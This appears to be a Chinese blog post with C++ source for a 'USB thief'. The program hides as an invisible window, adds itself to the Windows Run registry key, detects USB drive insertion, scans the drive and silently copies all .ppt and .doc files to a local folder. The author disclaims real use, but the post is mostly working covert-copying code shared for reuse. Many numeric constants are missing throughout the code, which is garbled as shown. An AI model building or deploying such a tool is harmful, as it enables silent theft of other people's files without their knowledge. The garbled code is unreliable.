前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了。

虽然没有采取实际行动,但是相关的功能还是实现,技术共享。

重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。

1.对u盘插入行为监控,并获得盘符

  当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。

  为了获得消息,我们需要一个窗口

  

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass; wndclass.style = ;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = ;
wndclass.cbWndExtra = ;
wndclass.hInstance = hInstance;
wndclass.hIcon = ;
wndclass.hCursor = ;
wndclass.hbrBackground = ;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName; SetAutoRun(TRUE);
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return ;
}
hwnd = CreateWindow(szAppName, NULL,
WS_DISABLED,
, ,
, ,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, , ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}

  窗口回调函数:

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_CREATE: //处理一些要下面要用到的全局变量
U[] = ':'; SetTimer(hwnd, TIMER, , );//启动计时器 return ;
case WM_TIMER: //timer message SendMessage(hwnd, WM_DEVICECHANGE, , );//检测有没有插入设备消息 return ;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd, wParam, lParam);
return ;
case WM_DESTROY:
KillTimer(hwnd, TIMER);
PostQuitMessage();
return ;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
  OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch (wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
//MessageBox(0, U, "Notice!", MB_OK);
string Utemp;
Utemp = U;
// Utemp += "\\";
Filesearch(Utemp, ); //搜索u盘
CopyPPT(FileList); //复制ppt
CopyDOC(FileList); //复制doc
//MessageBox(0, "Copy Success", "Notice!", MB_OK); }
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
//MessageBox(0, "u盘退出", "Notice!", MB_OK);
break;
}
return LRESULT();
}
  FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制
void Filesearch(string Path, int Layer)
{
FileInfo FileInfomation;
struct _finddata_t filefind;
string Current = Path + "\\*.*"; // 修改此处改变搜索条件
int Done = , i, Handle;
string FullPath;
if ((Handle = _findfirst(Current.c_str(), &filefind)) != -)
{
while (!(Done = _findnext(Handle, &filefind)))
{
if (strcmp(filefind.name, "..") == )
continue;
for (i = ; i <Layer; i++)
printf("\t");
if ((_A_SUBDIR == filefind.attrib)) // 是目录
{
printf("[Dir]:\t%s\n", filefind.name);
Current = Path + "\\" + filefind.name;
Filesearch(Current, Layer + ); // 递归遍历子目录
}
else
{
printf("[File]:\t%s\n", filefind.name);
FullPath = Path + "\\" + filefind.name;
FileInfomation.Name = filefind.name;
FileInfomation.FullPath = FullPath;
FileList.push_back(FileInfomation);
FullPath.empty();
}
}
_findclose(Handle);
}
} void CopyPPT(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".ppt")) > )
{
TempPath = DesPath + "\\" + iterator->Name ;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
} }
} void CopyDOC(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".doc")) > )
{
TempPath = DesPath + "\\" + iterator->Name;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
}
}
}

3.开机自启动 注册表实现
void SetAutoRun(BOOL bAutoRun)
{
HKEY hKey;
char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项
if (bAutoRun)
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项
{
TCHAR szModule[_MAX_PATH];
GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径
RegSetValueEx(hKey, "U盘检测", , REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)
RegCloseKey(hKey); //关闭注册表
}
else
{
// MessageBox("系统参数错误,不能随系统启动");
}
}
else
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
RegDeleteValue(hKey, "U盘检测");
RegCloseKey(hKey);
}
}
}

Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。

猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。

												

U盘小偷——C++实现U盘插入检测和文件扫描拷贝的更多相关文章

  1. 读"U盘小偷"有感

    作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#p ...

  2. 锻造完美U盘小偷:活用消息机制

    锻造完美U盘小偷:活用消息机制作者:灰狐来源:灰狐's Blog 注:本文已发表在<黑客防线>2008年第1期,转载请注明出处. 以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就 ...

  3. U盘启动盘的制作与U盘重装系统

    网上有各种各样的装系统的方法,也有各种不同的操作系统版本. 本文介绍如何有UtraISO将U盘制作成系统启动盘,本文用于制作的系统是纯净的32位win7旗舰版. 可到http://itellyou.c ...

  4. u盘装系统,u盘安装win7系统教程

    http://www.upanboot.com/tool/anzhuang_win7.html 可以用本教程给笔记本.台式机.上网本和组装电脑通过U盘安装Win7系统. 步骤一.首先要准备一个至少8G ...

  5. 虚拟机下怎么连接U盘,如何使用U盘?一策书(湘岳阳万江波)的随笔

    准备在虚拟机下,制作U盘启动盘.安装了U盘制作软件,插上U盘却无法识别到.打开虚拟机进行设置,添加USB设备,提示:已达到最大值.怎么回事呢? 原来还需要在宿主机上进行设置. 在宿主机上,运行:ser ...

  6. U盘启动盘的制作--用U盘硬装Windows系统、或是重装Windows系统

    借助IT天空的优启通U盘启动盘的制作--用U盘装Windows系统.或是重装Windows系统之U盘启动盘的制作 1.==================================== 2.== ...

  7. Linux下U盘的挂载和文件的拷贝

    把文件通过U盘拷贝到linux系统下插好U盘后,查看磁盘情况fdisk -l正常情况下有 Disk /dev/sda:2045 MB,2045247488 bytes47 heads,46 secto ...

  8. U盘开发之安全U盘

    普通型安全U盘,虚拟KEY和U盘两个设备,由主机软件分别对KEY和U盘进行操作,U盘与上位机采用usb mass storage接口,KEY采用HID接口,两者均无需驱动.也有虚拟成光盘和U盘两个设备 ...

  9. 48.Linux-普通U盘以及多分区U盘自动挂载

    在上章学习33.Linux-实现U盘自动挂载(详解)后,只是讲解了普通U盘挂载,并没有涉及到多分区U盘,接下来本章来继续学习 1.多分区U盘和普通U盘区别 1)U盘插上只会创建一个/dev/sda文件 ...

随机推荐

  1. vue + eCharts 实现图表展示

    一.首先安装 eCharts 依赖 npm install echarts -S 二.main.js 引入 eCharts 依赖 2.1)在 main.js 中引入 import echarts fr ...

  2. 洛谷P4287 [SHOI2011]双倍回文(回文自动机)

    传送门 听说有大佬用manacher$O(n)$过此题……太强啦…… 说一下PAM的做法吧.(看了题解之后发现)蛮简单的 我们肯定要先建出回文自动机的 然后如果是枚举每一个节点暴跳fail指针肯定得T ...

  3. jQuery点击弹出层,弹出模态框,点击模态框消失

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 3 ...

  4. SLF4J、Log4J使用记录

    程序中一直在用log4j,之前都没了解过,只知道是打印日志信息的.最近独立新建了几个开发工程,发现slf4j老有冲突,开始关注起来,我用log4j打印日志,与slf4j有毛关系,怎么老冲突呢.网上找了 ...

  5. html标签的补充—— b,strong标签

    b,strong标签 表意: 强调文本中的比较重要的词语 b标签,仅仅只是规定文本加粗 strong标签,不仅规定文本加粗,而且还能够表示强调 如果仅仅是为了视觉效果,使用样式(CSS)调整Web提倡 ...

  6. React学习记录

    托webpack的福,我终于可以开始写React了.==ORZ 我感觉我接近webpack工程师更进一步了哈哈哈. 以下所有内容均来自小红书,仅是我的个人记录,如想系统学习,请移步:React小书 : ...

  7. POJ 2891 Strange Way to Express Integers excrt/我真傻,真的

    我真傻,真的 我单知道这道题在(b-b1)%d!=0时要判无解,哪成想自己却没有读完这组后面的数据而直接break掉...qwqfk 当 $ x \equiv b_1 (  mod    a_1  ) ...

  8. BZOJ 1053 [HAOI2007]反素数ant 神奇的约数

    本蒟蒻终于开始接触数学了...之前写的都忘了...忽然想起来某神犇在几个月前就切了FWT了... 给出三个结论: 1.1-N中的反素数是1-N中约数最多但是最小的数 2.1-N中的所有数的质因子种类不 ...

  9. Linux命令发送Http的get或post请求(curl和wget两种方法)

    Http请求指的是客户端向服务器的请求消息,Http请求主要分为get或post两种,在Linux系统下可以用curl和wget命令来模拟Http的请求.下面就来介绍一下Linux系统如何模拟Http ...

  10. 10g duplicate and 11g dupliacte db for standby

    ###################10g Creating a Physical Standby Database OASSTBY Make sure database is in archive ...